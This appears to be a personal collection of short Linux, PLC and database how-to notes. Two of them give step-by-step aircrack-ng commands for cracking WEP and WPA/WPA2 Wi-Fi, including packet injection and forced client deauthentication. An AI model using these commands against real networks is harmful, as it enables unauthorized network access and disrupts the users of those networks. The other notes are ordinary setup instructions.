Can’t install Kali Linux from USB, fails to find CD-ROM drive
mkdir /cdrom
mount -t vfat /dev/sdb1 /cdrom
References :
http://superuser.com/questions/962926/cant-install-kali-linux-from-usb-fails-to-find-cd-rom-drive
Configure CMake in Clion to work with Qt
Add to CMake file :
find_package(Qt5Core REQUIRED) qt5_use_modules(project01 Core)
References :
http://stackoverflow.com/questions/34587878/how-to-configure-cmake-in-clion-to-work-with-qt5-5-1-open-source-sdk
Hack WEP Wi-Fi With Kali Linux & Aircrack-ng
list all of the wireless cards that support monitor (not injection) mode :
airmon-ng
put interface on monitor mode :
airmon-ng start [wifi interface name] airmon-ng start wlan0
list all of the wireless networks in your area :
airodump-ng [monitor interface name] airodump-ng mon0
WEP encrypted data packets needs to be captured :
airodump-ng -w [file name] -c [chanel name] --bssid [bssid] [monitor interface name] airodump-ng -w /root/Desktop/hack01 -c 1 --bssid 78:54:2E:D6:9F:D5 wlan1mon
To speed up the IV’s open a third terminal window letting the second run capturing the data :
aireplay-ng -1 0 -a [bssid] [monitor interface name] aireplay-ng -1 0 -a 78:54:2E:D6:9F:D5 wlan1mon
This will begin sending out ARP request and the data and the beacons should begin to grow quickly :
aireplay-ng -3 -b [bssid] [monitor interface name] aireplay-ng -3 -b 78:54:2E:D6:9F:D5 wlan1mon
after collecting enough data (20000 is enough but 100000 is better) :
aircrack-ng [file name] aircrack-ng hack01.cap
References :
http://www.wirelesshack.org/step-by-step-kali-linux-and-wireless-hacking-basics-wep-hacking-part-3.html
Hack WPA/WPA2 Wi-Fi With Kali Linux & Aircrack-ng
list all of the wireless cards that support monitor (not injection) mode :
airmon-ng
put interface on monitor mode :
airmon-ng start [wifi interface name] airmon-ng start wlan0
list all of the wireless networks in your area :
airodump-ng [monitor interface name] airodump-ng mon0
save any intercepted 4-way handshakes to file(necessary to crack the password) :
airodump-ng -c [channel] --bssid [bssid] -w /root/Desktop/ [monitor interface] airodump-ng -c 10 --bssid 00:14:BF:E0:E8:D5 -w /root/Desktop/ mon0
force client to deauthentication to capture password faster :
aireplay-ng -0 2 -a [router bssid] -c [client bssid] mon0 aireplay-ng -0 2 -a 00:14:BF:E0:E8:D5 -c 4C:EB:42:59:DE:31 mon0
References :
http://lewiscomputerhowto.blogspot.co.uk/2014/06/how-to-hack-wpawpa2-wi-fi-with-kali.html
Install ShadowSocks on Linux from Source
sudo apt-get install qt5-qmake qtbase5-dev libbotan1.10-dev #skip this part if you've already installed these packages dpkg-buildpackage -uc -us -b
sudo apt-get install qt5-qmake qtbase5-dev libqrencode-dev libqtshadowsocks-dev libappindicator-dev libzbar-dev libbotan1.10-dev dpkg-buildpackage -uc -us -b
References :
https://github.com/shadowsocks/libQtShadowsocks/wiki/Installation
https://github.com/shadowsocks/shadowsocks-qt5/wiki/Installation
https://github.com/shadowsocks/libQtShadowsocks/wiki/Compiling
https://github.com/shadowsocks/shadowsocks-qt5/wiki/Compiling
How can the CPU analog inputs of the SIMATIC S7-1200 also measure currents of 0-20mA
Fig. 01: Connection of a sensor to a voltage source as a 2-conductor connection
Fig. 02: Connection of a sensor to a voltage source as a 3-conductor connection
Fig. 03: Connection of a sensor to a voltage source as a 4-conductor connection
Fig. 04: Connection of a measuring transducer with voltage output to a current source as a 4-conductor connection
How to connect a sensor to the analog signal modules of SIMATIC S7-1200
Fig. 01: Connection of a four-wire sensor
Fig. 02: Connection of a three-wire sensor
Fig. 03: Current measurement with a two-wire sensor
References :
https://support.industry.siemens.com/cs/document/40913432/how-do-you-connect-a-sensor-to-the-analog-signal-modules-of-simatic-s7-1200?dti=0&lc=en-WW
http://www.plctalk.net/qanda/showthread.php?t=12390
PLC Siemens S7-1200 Analog Input Output
Analog Input
4-20 mA input that converta to humidity and temperature.
Analog Output
output voltage between 0-5 volts, so MAX number is 13824
PLC Tags
Installing VMware Tools in Kali Linux
apt-get update apt-get install open-vm-tools-desktop fuse reboot
References :
http://docs.kali.org/general-use/install-vmware-tools-kali-guest
http://www.sysadminshowto.com/how-to-install-official-vmware-tools-in-kali-linux-2-sana/
Install MongoDB as Windows Service
mkdir c:\data\db mkdir c:\data\log
create a file at C:\mongodb\mongod.cfg
systemLog:
destination: file
path: c:\data\log\mongod.log
storage:
dbPath: c:\data\db
Install the MongoDB service
"C:\mongodb\bin\mongod.exe" --config "C:\mongodb\mongod.cfg" --install
Start the MongoDB service
net start MongoDB
Stop or remove the MongoDB service as needed
net stop MongoDB
"C:\mongodb\bin\mongod.exe" --remove
References :
https://docs.mongodb.org/manual/tutorial/install-mongodb-on-windows/